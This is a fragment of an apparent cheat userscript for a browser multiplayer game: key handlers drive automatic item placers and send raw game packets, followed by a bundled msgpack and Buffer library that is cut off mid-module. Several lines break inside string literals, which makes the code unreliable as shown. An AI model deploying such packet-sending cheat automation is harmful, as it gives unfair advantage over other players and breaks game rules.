if(e.keyCode == 77 && document.activeElement.id.toLowerCase() !== 'chatbox') {
millToggle = (millToggle + 1) % 2;
if (millToggle == 1) {
doNewSend(["ch", [""]]);
} else {
doNewSend(["ch", [""]]);
}
};
})

document.addEventListener('keyup', (e)=>{
fourSpawnpader.stop(e.keyCode);
boostPlacer.stop(e.keyCode);
millPlacer.stop(e.keyCode);
turretPlacer.stop(e.keyCode);
spikePlacer.stop(e.keyCode);
foodPlacer.stop(e.keyCode);
aPlacer.stop(e.keyCode);

if(e.keyCode == 87 && document.activeElement.id.toLowerCase() !== 'chatbox') {


w = false;
}
if(e.keyCode == 68 && document.activeElement.id.toLowerCase() !== 'chatbox') {
d = false;
}
if(e.keyCode == 83 && document.activeElement.id.toLowerCase() !== 'chatbox') {
s = false;
}
if(e.keyCode == 65 && document.activeElement.id.toLowerCase() !== 'chatbox') {
a = false;
}
})
function isElementVisible(e) {
return (e.offsetParent !== null);
}

function toRad(angle) {
return angle * 0.01745329251;
}

function dist(a, b){


return Math.sqrt( Math.pow((b.y-a[2]), 2) + Math.pow((b.x-a[1]), 2) );
}

function update() {
for (let i=0;i<9;i++){
if (isElementVisible(document.getElementById("actionBarItem" +
i.toString()))){
primary = i;
}
}

for (let i=9;i<16;i++){


if (isElementVisible(document.getElementById("actionBarItem" +
i.toString()))){
secondary = i;
}
}

for (let i=16;i<19;i++){


if (isElementVisible(document.getElementById("actionBarItem" +
i.toString()))){
foodType = i - 16;
}
}

for (let i=19;i<22;i++){


if (isElementVisible(document.getElementById("actionBarItem" +
i.toString()))){
wallType = i - 16;
}
}

for (let i=22;i<26;i++){


if (isElementVisible(document.getElementById("actionBarItem" +
i.toString()))){
spikeType = i - 16;
}
}

for (let i=26;i<29;i++){


if (isElementVisible(document.getElementById("actionBarItem" +
i.toString()))){
millType = i - 16;
}
}

for (let i=29;i<31;i++){


if (isElementVisible(document.getElementById("actionBarItem" +
i.toString()))){
mineType = i - 16;
}
}

for (let i=31;i<33;i++){


if (isElementVisible(document.getElementById("actionBarItem" +
i.toString()))){
boostType = i - 16;
}
}

for (let i=33;i<36;i++){


if (isElementVisible(document.getElementById("actionBarItem" +
i.toString()))){
turretType = i - 16;
}
}

for (let i=36;i<37;i++){


if (isElementVisible(document.getElementById("actionBarItem" +
i.toString()))){
spawnpadType = i - 16;
}
}

for (let i=37;i<39;i++){


if (isElementVisible(document.getElementById("actionBarItem" +
i.toString()))){
turretType = i - 16;
}
}
}

var primaryReload = [];


var secondaryReload = [];
var turretReload = [];

!function(e) {
var t = {};
function n(i) {
if (t[i])
return t[i].exports;
var r = t[i] = {
i: i,
l: !1,
exports: {}
};
return e[i].call(r.exports, r, r.exports, n),
r.l = !0,
r.exports
}
n.m = e,
n.c = t,
n.d = function(e, t, i) {
n.o(e, t) || Object.defineProperty(e, t, {
enumerable: !0,
get: i
})
}
,
n.r = function(e) {
"undefined" != typeof Symbol && Symbol.toStringTag &&
Object.defineProperty(e, Symbol.toStringTag, {
value: "Module"
}),
Object.defineProperty(e, "__esModule", {
value: !0
})
}
,
n.t = function(e, t) {
if (1 & t && (e = n(e)),
8 & t)
return e;
if (4 & t && "object" == typeof e && e && e.__esModule)
return e;
var i = Object.create(null);
if (n.r(i),
Object.defineProperty(i, "default", {
enumerable: !0,
value: e
}),
2 & t && "string" != typeof e)
for (var r in e)
n.d(i, r, function(t) {
return e[t]
}
.bind(null, r));
return i
}
,
n.n = function(e) {
var t = e && e.__esModule ? function() {
return e.default
}
: function() {
return e
}
;
return n.d(t, "a", t),
t
}
,
n.o = function(e, t) {
return Object.prototype.hasOwnProperty.call(e, t)
}
,
n.p = "",
n(n.s = 21)
}([function(e, t, n) {
var i = t.global = n(25)
, r = t.hasBuffer = i && !!i.isBuffer
, s = t.hasArrayBuffer = "undefined" != typeof ArrayBuffer
, a = t.isArray = n(5);
t.isArrayBuffer = s ? function(e) {
return e instanceof ArrayBuffer || p(e)
}
: m;
var o = t.isBuffer = r ? i.isBuffer : m
, c = t.isView = s ? ArrayBuffer.isView || y("ArrayBuffer", "buffer") : m;
t.alloc = d,
t.concat = function(e, n) {
n || (n = 0,
Array.prototype.forEach.call(e, (function(e) {
n += e.length
}
)));
var i = this !== t && this || e[0]
, r = d.call(i, n)
, s = 0;
return Array.prototype.forEach.call(e, (function(e) {
s += f.copy.call(e, r, s)
}
)),
r
}
,
t.from = function(e) {
return "string" == typeof e ? function(e) {
var t = 3 * e.length
, n = d.call(this, t)
, i = f.write.call(n, e);
return t !== i && (n = f.slice.call(n, 0, i)),
n
}
.call(this, e) : g(this).from(e)
}
;
var l = t.Array = n(28)
, h = t.Buffer = n(29)
, u = t.Uint8Array = n(30)
, f = t.prototype = n(6);
function d(e) {
return g(this).alloc(e)
}
var p = y("ArrayBuffer");
function g(e) {
return o(e) ? h : c(e) ? u : a(e) ? l : r ? h : s ? u : l
}
function m() {
return !1
}
function y(e, t) {
return e = "[object " + e + "]",
function(n) {
return null != n && {}.toString.call(t ? n[t] : n) === e
}
}
}
, function(e, t, n) {
var i = n(5);
t.createCodec = o,
t.install = function(e) {
for (var t in e)
s.prototype[t] = a(s.prototype[t], e[t])
}
,
t.filter = function(e) {
return i(e) ? function(e) {
return e = e.slice(),
function(n) {
return e.reduce(t, n)
}
;
function t(e, t) {
return t(e)
}
}(e) : e
}
;
var r = n(0);
function s(e) {
if (!(this instanceof s))
return new s(e);
this.options = e,
this.init()
}
function a(e, t) {
return e && t ? function() {
return e.apply(this, arguments),
t.apply(this, arguments)
}
: e || t
}
function o(e) {
return new s(e)
}
s.prototype.init = function() {
var e = this.options;
return e && e.uint8array && (this.bufferish = r.Uint8Array),
this
}
,
t.preset = o({
preset: !0
})
}
, function(e, t, n) {
var i = n(3).ExtBuffer
, r = n(32)
, s = n(33)
, a = n(1);
function o() {
var e = this.options;
return this.encode = function(e) {
var t = s.getWriteType(e);
return function(e, n) {
var i = t[typeof n];
if (!i)
throw new Error('Unsupported type "' + typeof n + '": ' + n);
i(e, n)
}
}(e),
e && e.preset && r.setExtPackers(this),
this
}
a.install({
addExtPacker: function(e, t, n) {
n = a.filter(n);
var r = t.name;
r && "Object" !== r ? (this.extPackers || (this.extPackers = {}))[r] =
s : (this.extEncoderList || (this.extEncoderList = [])).unshift([t, s]);
function s(t) {
return n && (t = n(t)),
new i(t,e)
}
},
getExtPacker: function(e) {
var t = this.extPackers || (this.extPackers = {})
, n = e.constructor
, i = n && n.name && t[n.name];
if (i)
return i;
for (var r = this.extEncoderList || (this.extEncoderList = []), s =
r.length, a = 0; a < s; a++) {
var o = r[a];
if (n === o[0])
return o[1]
}
},
init: o
}),
t.preset = o.call(a.preset)
}
, function(e, t, n) {
t.ExtBuffer = function e(t, n) {
if (!(this instanceof e))
return new e(t,n);
this.buffer = i.from(t),
this.type = n
}
;
var i = n(0)
}
, function(e, t) {
t.read = function(e, t, n, i, r) {
var s, a, o = 8 * r - i - 1, c = (1 << o) - 1, l = c >> 1, h = -7, u = n ?
r - 1 : 0, f = n ? -1 : 1, d = e[t + u];
for (u += f,
s = d & (1 << -h) - 1,
d >>= -h,
h += o; h > 0; s = 256 * s + e[t + u],
u += f,
h -= 8)
;
for (a = s & (1 << -h) - 1,
s >>= -h,
h += i; h > 0; a = 256 * a + e[t + u],
u += f,
h -= 8)
;
if (0 === s)
s = 1 - l;
else {
if (s === c)
return a ? NaN : 1 / 0 * (d ? -1 : 1);
a += Math.pow(2, i),
s -= l
}
return (d ? -1 : 1) * a * Math.pow(2, s - i)
}
,
t.write = function(e, t, n, i, r, s) {
var a, o, c, l = 8 * s - r - 1, h = (1 << l) - 1, u = h >> 1, f = 23 ===
r ? Math.pow(2, -24) - Math.pow(2, -77) : 0, d = i ? 0 : s - 1, p = i ? 1 : -1, g =
t < 0 || 0 === t && 1 / t < 0 ? 1 : 0;
for (t = Math.abs(t),
isNaN(t) || t === 1 / 0 ? (o = isNaN(t) ? 1 : 0,
a = h) : (a = Math.floor(Math.log(t) / Math.LN2),
t * (c = Math.pow(2, -a)) < 1 && (a--,
c *= 2),
(t += a + u >= 1 ? f / c : f * Math.pow(2, 1 - u)) * c >= 2 && (a++,
c /= 2),
a + u >= h ? (o = 0,
a = h) : a + u >= 1 ? (o = (t * c - 1) * Math.pow(2, r),
a += u) : (o = t * Math.pow(2, u - 1) * Math.pow(2, r),
a = 0)); r >= 8; e[n + d] = 255 & o,
d += p,
o /= 256,
r -= 8)
;
for (a = a << r | o,
l += r; l > 0; e[n + d] = 255 & a,
d += p,
a /= 256,
l -= 8)
;
e[n + d - p] |= 128 * g
}
}
, function(e, t) {
var n = {}.toString;
e.exports = Array.isArray || function(e) {
return "[object Array]" == n.call(e)
}
}
, function(e, t, n) {
var i = n(31);
t.copy = c,
t.slice = l,
t.toString = function(e, t, n) {
return (!a && r.isBuffer(this) ? this.toString : i.toString).apply(this,
arguments)
}
,
t.write = function(e) {
return function() {
return (this[e] || i[e]).apply(this, arguments)
}
}("write");
var r = n(0)
, s = r.global
, a = r.hasBuffer && "TYPED_ARRAY_SUPPORT"in s
, o = a && !s.TYPED_ARRAY_SUPPORT;
function c(e, t, n, s) {
var a = r.isBuffer(this)
, c = r.isBuffer(e);
if (a && c)
return this.copy(e, t, n, s);
if (o || a || c || !r.isView(this) || !r.isView(e))
return i.copy.call(this, e, t, n, s);
var h = n || null != s ? l.call(this, n, s) : this;
return e.set(h, t),
h.length
}
function l(e, t) {
var n = this.slice || !o && this.subarray;
if (n)
return n.call(this, e, t);
var i = r.alloc.call(this, t - e);
return c.call(this, i, 0, e, t),
i
}
}
, function(e, t, n) {
(function(e) {
!function(t) {
var n, i = "undefined", r = i !== typeof e && e, s = i !== typeof
Uint8Array && Uint8Array, a = i !== typeof ArrayBuffer && ArrayBuffer, o = [0, 0,
0, 0, 0, 0, 0, 0], c = Array.isArray || function(e) {
return !!e && "[object Array]" == Object.prototype.toString.call(e)
}
, l = 4294967296;
function h(e, c, h) {
var b = c ? 0 : 4
, x = c ? 4 : 0
, S = c ? 0 : 3
, T = c ? 1 : 2
, I = c ? 2 : 1
, E = c ? 3 : 0
, M = c ? y : v
, A = c ? k : w
, P = O.prototype
, B = "is" + e
, C = "_" + B;
return P.buffer = void 0,
P.offset = 0,
P[C] = !0,
P.toNumber = R,
P.toString = function(e) {
var t = this.buffer
, n = this.offset
, i = _(t, n + b)
, r = _(t, n + x)
, s = ""
, a = !h && 2147483648 & i;
for (a && (i = ~i,
r = l - r),
e = e || 10; ; ) {
var o = i % e * l + r;
if (i = Math.floor(i / e),
r = Math.floor(o / e),
s = (o % e).toString(e) + s,
!i && !r)
break
}
return a && (s = "-" + s),
s
}
,
P.toJSON = R,
P.toArray = u,
r && (P.toBuffer = f),
s && (P.toArrayBuffer = d),
O[B] = function(e) {
return !(!e || !e[C])
}
,
t[e] = O,
O;
function O(e, t, r, c) {
return this instanceof O ? function(e, t, r, c, h) {
if (s && a && (t instanceof a && (t = new s(t)),
c instanceof a && (c = new s(c))),
t || r || c || n) {
if (!p(t, r))
h = r,
c = t,
r = 0,
t = new (n || Array)(8);
e.buffer = t,
e.offset = r |= 0,
i !== typeof c && ("string" == typeof c ? function(e,
t, n, i) {
var r = 0
, s = n.length
, a = 0
, o = 0;
"-" === n[0] && r++;
for (var c = r; r < s; ) {
var h = parseInt(n[r++], i);
if (!(h >= 0))
break;
o = o * i + h,
a = a * i + Math.floor(o / l),
o %= l
}
c && (a = ~a,
o ? o = l - o : a++),
j(e, t + b, a),
j(e, t + x, o)
}(t, r, c, h || 10) : p(c, h) ? g(t, r, c, h) :
"number" == typeof h ? (j(t, r + b, c),
j(t, r + x, h)) : c > 0 ? M(t, r, c) : c < 0 ? A(t, r,
c) : g(t, r, o, 0))
} else
e.buffer = m(o, 0)
}(this, e, t, r, c) : new O(e,t,r,c)
}
function R() {
var e = this.buffer
, t = this.offset
, n = _(e, t + b)
, i = _(e, t + x);
return h || (n |= 0),
n ? n * l + i : i
}
function j(e, t, n) {
e[t + E] = 255 & n,
n >>= 8,
e[t + I] = 255 & n,
n >>= 8,
e[t + T] = 255 & n,
n >>= 8,
e[t + S] = 255 & n
}
function _(e, t) {
return 16777216 * e[t + S] + (e[t + T] << 16) + (e[t + I] << 8)
+ e[t + E]
}
}
function u(e) {
var t = this.buffer
, i = this.offset;
return n = null,
!1 !== e && 0 === i && 8 === t.length && c(t) ? t : m(t, i)
}
function f(t) {
var i = this.buffer
, s = this.offset;
if (n = r,
!1 !== t && 0 === s && 8 === i.length && e.isBuffer(i))
return i;
var a = new r(8);
return g(a, 0, i, s),
a
}
function d(e) {
var t = this.buffer
, i = this.offset
, r = t.buffer;
if (n = s,
!1 !== e && 0 === i && r instanceof a && 8 === r.byteLength)
return r;
var o = new s(8);
return g(o, 0, t, i),
o.buffer
}
function p(e, t) {
var n = e && e.length;
return t |= 0,
n && t + 8 <= n && "string" != typeof e[t]
}
function g(e, t, n, i) {
t |= 0,
i |= 0;
for (var r = 0; r < 8; r++)
e[t++] = 255 & n[i++]
}
function m(e, t) {
return Array.prototype.slice.call(e, t, t + 8)
}
function y(e, t, n) {
for (var i = t + 8; i > t; )
e[--i] = 255 & n,
n /= 256
}
function k(e, t, n) {
var i = t + 8;
for (n++; i > t; )
e[--i] = 255 & -n ^ 255,
n /= 256
}
function v(e, t, n) {
for (var i = t + 8; t < i; )
e[t++] = 255 & n,
n /= 256
}
function w(e, t, n) {
var i = t + 8;
for (n++; t < i; )
e[t++] = 255 & -n ^ 255,
n /= 256
}
h("Uint64BE", !0, !0),
h("Int64BE", !0, !1),
h("Uint64LE", !1, !0),
h("Int64LE", !1, !1)
}("string" != typeof t.nodeName ? t : this || {})
}
).call(this, n(11).Buffer)
}
, function(e, t, n) {
var i = n(3).ExtBuffer
, r = n(35)
, s = n(17).readUint8
, a = n(36)
, o = n(1);
function c() {
var e = this.options;
return this.decode = function(e) {
var t = a.getReadToken(e);
return function(e) {
var n = s(e)
, i = t[n];
if (!i)
throw new Error("Invalid type: " + (n ? "0x" + n.toString(16) :
n));
return i(e)
}
}(e),
e && e.preset && r.setExtUnpackers(this),
this
}
o.install({
addExtUnpacker: function(e, t) {
(this.extUnpackers || (this.extUnpackers = []))[e] = o.filter(t)
},
getExtUnpacker: function(e) {
return (this.extUnpackers || (this.extUnpackers = []))[e] ||
function(t) {
return new i(t,e)
}
},
init: c
}),
t.preset = c.call(o.preset)
}
, function(e, t, n) {
t.encode = function(e, t) {
var n = new i(t);
return n.write(e),
n.read()
}
;
var i = n(10).EncodeBuffer
}
, function(e, t, n) {
t.EncodeBuffer = r;
var i = n(2).preset;
function r(e) {
if (!(this instanceof r))
return new r(e);
if (e && (this.options = e,
e.codec)) {
var t = this.codec = e.codec;
t.bufferish && (this.bufferish = t.bufferish)
}
}
n(14).FlexEncoder.mixin(r.prototype),
r.prototype.codec = i,
r.prototype.write = function(e) {
this.codec.encode(this, e)
}
}
, function(e, t, n) {
"use strict";
(function(e) {
/*!
* The buffer module from node.js, for the browser.
*
* @author Feross Aboukhadijeh <http://feross.org>
* @license MIT
*/
var i = n(26)
, r = n(4)
, s = n(27);
function a() {
return c.TYPED_ARRAY_SUPPORT ? 2147483647 : 1073741823
}
function o(e, t) {
if (a() < t)
throw new RangeError("Invalid typed array length");
return c.TYPED_ARRAY_SUPPORT ? (e = new Uint8Array(t)).__proto__ =
c.prototype : (null === e && (e = new c(t)),
e.length = t),
e
}
function c(e, t, n) {
if (!(c.TYPED_ARRAY_SUPPORT || this instanceof c))
return new c(e,t,n);
if ("number" == typeof e) {
if ("string" == typeof t)
throw new Error("If encoding is specified then the first
argument must be a string");
return u(this, e)
}
return l(this, e, t, n)
}
function l(e, t, n, i) {
if ("number" == typeof t)
throw new TypeError('"value" argument must not be a number');
return "undefined" != typeof ArrayBuffer && t instanceof ArrayBuffer ?
function(e, t, n, i) {
if (t.byteLength,
n < 0 || t.byteLength < n)
throw new RangeError("'offset' is out of bounds");
if (t.byteLength < n + (i || 0))
throw new RangeError("'length' is out of bounds");
return t = void 0 === n && void 0 === i ? new Uint8Array(t) : void
0 === i ? new Uint8Array(t,n) : new Uint8Array(t,n,i),
c.TYPED_ARRAY_SUPPORT ? (e = t).__proto__ = c.prototype : e = f(e,
t),
e
}(e, t, n, i) : "string" == typeof t ? function(e, t, n) {
if ("string" == typeof n && "" !== n || (n = "utf8"),
!c.isEncoding(n))
throw new TypeError('"encoding" must be a valid string
encoding');
var i = 0 | p(t, n)
, r = (e = o(e, i)).write(t, n);
return r !== i && (e = e.slice(0, r)),
e
}(e, t, n) : function(e, t) {
if (c.isBuffer(t)) {
var n = 0 | d(t.length);
return 0 === (e = o(e, n)).length || t.copy(e, 0, 0, n),
e
}
if (t) {
if ("undefined" != typeof ArrayBuffer && t.buffer instanceof
ArrayBuffer || "length"in t)
return "number" != typeof t.length || function(e) {
return e != e
}(t.length) ? o(e, 0) : f(e, t);
if ("Buffer" === t.type && s(t.data))
return f(e, t.data)
}
throw new TypeError("First argument must be a string, Buffer,
ArrayBuffer, Array, or array-like object.")
}(e, t)
}
function h(e) {
if ("number" != typeof e)
throw new TypeError('"size" argument must be a number');
if (e < 0)
throw new RangeError('"size" argument must not be negative')
}
function u(e, t) {
if (h(t),
e = o(e, t < 0 ? 0 : 0 | d(t)),
!c.TYPED_ARRAY_SUPPORT)
for (var n = 0; n < t; ++n)
e[n] = 0;
return e
}
function f(e, t) {
var n = t.length < 0 ? 0 : 0 | d(t.length);
e = o(e, n);
for (var i = 0; i < n; i += 1)
e[i] = 255 & t[i];
return e
}
function d(e) {
if (e >= a())
throw new RangeError("Attempt to allocate Buffer larger than
maximum size: 0x" + a().toString(16) + " bytes");
return 0 | e
}
function p(e, t) {
if (c.isBuffer(e))
return e.length;
if ("undefined" != typeof ArrayBuffer && "function" == typeof
ArrayBuffer.isView && (ArrayBuffer.isView(e) || e instanceof ArrayBuffer))
return e.byteLength;
"string" != typeof e && (e = "" + e);
var n = e.length;
if (0 === n)
return 0;
for (var i = !1; ; )
switch (t) {
case "ascii":
case "latin1":
case "binary":
return n;
case "utf8":
case "utf-8":
case void 0:
return z(e).length;
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return 2 * n;
case "hex":
return n >>> 1;
case "base64":
return H(e).length;
default:
if (i)
return z(e).length;
t = ("" + t).toLowerCase(),
i = !0
}
}
function g(e, t, n) {
var i = e[t];
e[t] = e[n],
e[n] = i
}
function m(e, t, n, i, r) {
if (0 === e.length)
return -1;
if ("string" == typeof n ? (i = n,
n = 0) : n > 2147483647 ? n = 2147483647 : n < -2147483648 && (n = -
2147483648),
n = +n,
isNaN(n) && (n = r ? 0 : e.length - 1),
n < 0 && (n = e.length + n),
n >= e.length) {
if (r)
return -1;
n = e.length - 1
} else if (n < 0) {
if (!r)
return -1;
n = 0
}
if ("string" == typeof t && (t = c.from(t, i)),
c.isBuffer(t))
return 0 === t.length ? -1 : y(e, t, n, i, r);
if ("number" == typeof t)
return t &= 255,
c.TYPED_ARRAY_SUPPORT && "function" == typeof
Uint8Array.prototype.indexOf ? r ? Uint8Array.prototype.indexOf.call(e, t, n) :
Uint8Array.prototype.lastIndexOf.call(e, t, n) : y(e, [t], n, i, r);
throw new TypeError("val must be string, number or Buffer")
}
function y(e, t, n, i, r) {
var s, a = 1, o = e.length, c = t.length;
if (void 0 !== i && ("ucs2" === (i = String(i).toLowerCase()) || "ucs-
2" === i || "utf16le" === i || "utf-16le" === i)) {
if (e.length < 2 || t.length < 2)
return -1;
a = 2,
o /= 2,
c /= 2,
n /= 2
}
function l(e, t) {
return 1 === a ? e[t] : e.readUInt16BE(t * a)
}
if (r) {
var h = -1;
for (s = n; s < o; s++)
if (l(e, s) === l(t, -1 === h ? 0 : s - h)) {
if (-1 === h && (h = s),
s - h + 1 === c)
return h * a
} else
-1 !== h && (s -= s - h),
h = -1
} else
for (n + c > o && (n = o - c),
s = n; s >= 0; s--) {
for (var u = !0, f = 0; f < c; f++)
if (l(e, s + f) !== l(t, f)) {
u = !1;
break
}
if (u)
return s
}
return -1
}
function k(e, t, n, i) {
n = Number(n) || 0;
var r = e.length - n;
i ? (i = Number(i)) > r && (i = r) : i = r;
var s = t.length;
if (s % 2 != 0)
throw new TypeError("Invalid hex string");
i > s / 2 && (i = s / 2);
for (var a = 0; a < i; ++a) {
var o = parseInt(t.substr(2 * a, 2), 16);
if (isNaN(o))
return a;
e[n + a] = o
}
return a
}
function v(e, t, n, i) {
return V(z(t, e.length - n), e, n, i)
}
function w(e, t, n, i) {
return V(function(e) {
for (var t = [], n = 0; n < e.length; ++n)
t.push(255 & e.charCodeAt(n));
return t
}(t), e, n, i)
}
function b(e, t, n, i) {
return w(e, t, n, i)
}
function x(e, t, n, i) {
return V(H(t), e, n, i)
}
function S(e, t, n, i) {
return V(function(e, t) {
for (var n, i, r, s = [], a = 0; a < e.length && !((t -= 2) < 0); +
+a)
i = (n = e.charCodeAt(a)) >> 8,
r = n % 256,
s.push(r),
s.push(i);
return s
}(t, e.length - n), e, n, i)
}
function T(e, t, n) {
return 0 === t && n === e.length ? i.fromByteArray(e) :
i.fromByteArray(e.slice(t, n))
}
function I(e, t, n) {
n = Math.min(e.length, n);
for (var i = [], r = t; r < n; ) {
var s, a, o, c, l = e[r], h = null, u = l > 239 ? 4 : l > 223 ? 3 :
l > 191 ? 2 : 1;
if (r + u <= n)
switch (u) {
case 1:
l < 128 && (h = l);
break;
case 2:
128 == (192 & (s = e[r + 1])) && (c = (31 & l) << 6 | 63 &
s) > 127 && (h = c);
break;
case 3:
s = e[r + 1],
a = e[r + 2],
128 == (192 & s) && 128 == (192 & a) && (c = (15 & l) << 12
| (63 & s) << 6 | 63 & a) > 2047 && (c < 55296 || c > 57343) && (h = c);
break;
case 4:
s = e[r + 1],
a = e[r + 2],
o = e[r + 3],
128 == (192 & s) && 128 == (192 & a) && 128 == (192 & o) &&
(c = (15 & l) << 18 | (63 & s) << 12 | (63 & a) << 6 | 63 & o) > 65535 && c <
1114112 && (h = c)
}
null === h ? (h = 65533,
u = 1) : h > 65535 && (h -= 65536,
i.push(h >>> 10 & 1023 | 55296),
h = 56320 | 1023 & h),
i.push(h),
r += u
}
return function(e) {
var t = e.length;
if (t <= E)
return String.fromCharCode.apply(String, e);
for (var n = "", i = 0; i < t; )
n += String.fromCharCode.apply(String, e.slice(i, i += E));
return n
}(i)
}
t.Buffer = c,
t.SlowBuffer = function(e) {
return +e != e && (e = 0),
c.alloc(+e)
}
,
t.INSPECT_MAX_BYTES = 50,
c.TYPED_ARRAY_SUPPORT = void 0 !== e.TYPED_ARRAY_SUPPORT ?
e.TYPED_ARRAY_SUPPORT : function() {
try {
var e = new Uint8Array(1);
return e.__proto__ = {
__proto__: Uint8Array.prototype,
foo: function() {
return 42
}
},
42 === e.foo() && "function" == typeof e.subarray && 0 ===
e.subarray(1, 1).byteLength
} catch (e) {
return !1
}
}(),
t.kMaxLength = a(),
c.poolSize = 8192,
c._augment = function(e) {
return e.__proto__ = c.prototype,
e
}
,
c.from = function(e, t, n) {
return l(null, e, t, n)
}
,
c.TYPED_ARRAY_SUPPORT && (c.prototype.__proto__ = Uint8Array.prototype,
c.__proto__ = Uint8Array,
"undefined" != typeof Symbol && Symbol.species && c[Symbol.species] === c
&& Object.defineProperty(c, Symbol.species, {
value: null,
configurable: !0
})),
c.alloc = function(e, t, n) {
return function(e, t, n, i) {
return h(t),
t <= 0 ? o(e, t) : void 0 !== n ? "string" == typeof i ? o(e,
t).fill(n, i) : o(e, t).fill(n) : o(e, t)
}(null, e, t, n)
}
,
c.allocUnsafe = function(e) {
return u(null, e)
}
,
c.allocUnsafeSlow = function(e) {
return u(null, e)
}
,
c.isBuffer = function(e) {
return !(null == e || !e._isBuffer)
}
,
c.compare = function(e, t) {
if (!c.isBuffer(e) || !c.isBuffer(t))
throw new TypeError("Arguments must be Buffers");
if (e === t)
return 0;
for (var n = e.length, i = t.length, r = 0, s = Math.min(n, i); r < s;
++r)
if (e[r] !== t[r]) {
n = e[r],
i = t[r];
break
}
return n < i ? -1 : i < n ? 1 : 0
}
,
c.isEncoding = function(e) {
switch (String(e).toLowerCase()) {
case "hex":
case "utf8":
case "utf-8":
case "ascii":
case "latin1":
case "binary":
case "base64":
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return !0;
default:
return !1
}
}
,
c.concat = function(e, t) {
if (!s(e))
throw new TypeError('"list" argument must be an Array of Buffers');
if (0 === e.length)
return c.alloc(0);
var n;
if (void 0 === t)
for (t = 0,
n = 0; n < e.length; ++n)
t += e[n].length;
var i = c.allocUnsafe(t)
, r = 0;
for (n = 0; n < e.length; ++n) {
var a = e[n];
if (!c.isBuffer(a))
throw new TypeError('"list" argument must be an Array of
Buffers');
a.copy(i, r),
r += a.length
}
return i
}
,
c.byteLength = p,
c.prototype._isBuffer = !0,
c.prototype.swap16 = function() {
var e = this.length;
if (e % 2 != 0)
throw new RangeError("Buffer size must be a multiple of 16-bits");
for (var t = 0; t < e; t += 2)
g(this, t, t + 1);
return this
}
,
c.prototype.swap32 = function() {
var e = this.length;
if (e % 4 != 0)
throw new RangeError("Buffer size must be a multiple of 32-bits");
for (var t = 0; t < e; t += 4)
g(this, t, t + 3),
g(this, t + 1, t + 2);
return this
}
,
c.prototype.swap64 = function() {
var e = this.length;
if (e % 8 != 0)
throw new RangeError("Buffer size must be a multiple of 64-bits");
for (var t = 0; t < e; t += 8)
g(this, t, t + 7),
g(this, t + 1, t + 6),
g(this, t + 2, t + 5),
g(this, t + 3, t + 4);
return this
}
,
c.prototype.toString = function() {
var e = 0 | this.length;
return 0 === e ? "" : 0 === arguments.length ? I(this, 0, e) :
function(e, t, n) {
var i = !1;
if ((void 0 === t || t < 0) && (t = 0),
t > this.length)
return "";
if ((void 0 === n || n > this.length) && (n = this.length),
n <= 0)
return "";
if ((n >>>= 0) <= (t >>>= 0))
return "";
for (e || (e = "utf8"); ; )
switch (e) {
case "hex":
return P(this, t, n);
case "utf8":
case "utf-8":
return I(this, t, n);
case "ascii":
return M(this, t, n);
case "latin1":
case "binary":
return A(this, t, n);
case "base64":
return T(this, t, n);
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return B(this, t, n);
default:
if (i)
throw new TypeError("Unknown encoding: " + e);
e = (e + "").toLowerCase(),
i = !0
}
}
.apply(this, arguments)
}
,
c.prototype.equals = function(e) {
if (!c.isBuffer(e))
throw new TypeError("Argument must be a Buffer");
return this === e || 0 === c.compare(this, e)
}
,
c.prototype.inspect = function() {
var e = ""
, n = t.INSPECT_MAX_BYTES;
return this.length > 0 && (e = this.toString("hex", 0,
n).match(/.{2}/g).join(" "),
this.length > n && (e += " ... ")),
"<Buffer " + e + ">"
}
,
c.prototype.compare = function(e, t, n, i, r) {
if (!c.isBuffer(e))
throw new TypeError("Argument must be a Buffer");
if (void 0 === t && (t = 0),
void 0 === n && (n = e ? e.length : 0),
void 0 === i && (i = 0),
void 0 === r && (r = this.length),
t < 0 || n > e.length || i < 0 || r > this.length)
throw new RangeError("out of range index");
if (i >= r && t >= n)
return 0;
if (i >= r)
return -1;
if (t >= n)
return 1;
if (this === e)
return 0;
for (var s = (r >>>= 0) - (i >>>= 0), a = (n >>>= 0) - (t >>>= 0), o =
Math.min(s, a), l = this.slice(i, r), h = e.slice(t, n), u = 0; u < o; ++u)
if (l[u] !== h[u]) {
s = l[u],
a = h[u];
break
}
return s < a ? -1 : a < s ? 1 : 0
}
,
c.prototype.includes = function(e, t, n) {
return -1 !== this.indexOf(e, t, n)
}
,
c.prototype.indexOf = function(e, t, n) {
return m(this, e, t, n, !0)
}
,
c.prototype.lastIndexOf = function(e, t, n) {
return m(this, e, t, n, !1)
}
,
c.prototype.write = function(e, t, n, i) {
if (void 0 === t)
i = "utf8",
n = this.length,
t = 0;
else if (void 0 === n && "string" == typeof t)
i = t,
n = this.length,
t = 0;
else {
if (!isFinite(t))
throw new Error("Buffer.write(string, encoding, offset[,
length]) is no longer supported");
t |= 0,
isFinite(n) ? (n |= 0,
void 0 === i && (i = "utf8")) : (i = n,
n = void 0)
}
var r = this.length - t;
if ((void 0 === n || n > r) && (n = r),
e.length > 0 && (n < 0 || t < 0) || t > this.length)
throw new RangeError("Attempt to write outside buffer bounds");
i || (i = "utf8");
for (var s = !1; ; )
switch (i) {
case "hex":
return k(this, e, t, n);
case "utf8":
case "utf-8":
return v(this, e, t, n);
case "ascii":
return w(this, e, t, n);
case "latin1":
case "binary":
return b(this, e, t, n);
case "base64":
return x(this, e, t, n);
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return S(this, e, t, n);
default:
if (s)
throw new TypeError("Unknown encoding: " + i);
i = ("" + i).toLowerCase(),
s = !0
}
}
,
c.prototype.toJSON = function() {
return {
type: "Buffer",
data: Array.prototype.slice.call(this._arr || this, 0)
}
}
;
var E = 4096;
function M(e, t, n) {
var i = "";
n = Math.min(e.length, n);
for (var r = t; r < n; ++r)
i += String.fromCharCode(127 & e[r]);
return i
}
function A(e, t, n) {
var i = "";
n = Math.min(e.length, n);
for (var r = t; r < n; ++r)
i += String.fromCharCode(e[r]);
return i
}
function P(e, t, n) {
var i = e.length;
(!t || t < 0) && (t = 0),
(!n || n < 0 || n > i) && (n = i);
for (var r = "", s = t; s < n; ++s)
r += F(e[s]);
return r
}
function B(e, t, n) {
for (var i = e.slice(t, n), r = "", s = 0; s < i.length; s += 2)
r += String.fromCharCode(i[s] + 256 * i[s + 1]);
return r
}
function C(e, t, n) {
if (e % 1 != 0 || e < 0)
throw new RangeError("offset is not uint");
if (e + t > n)
throw new RangeError("Trying to access beyond buffer length")
}
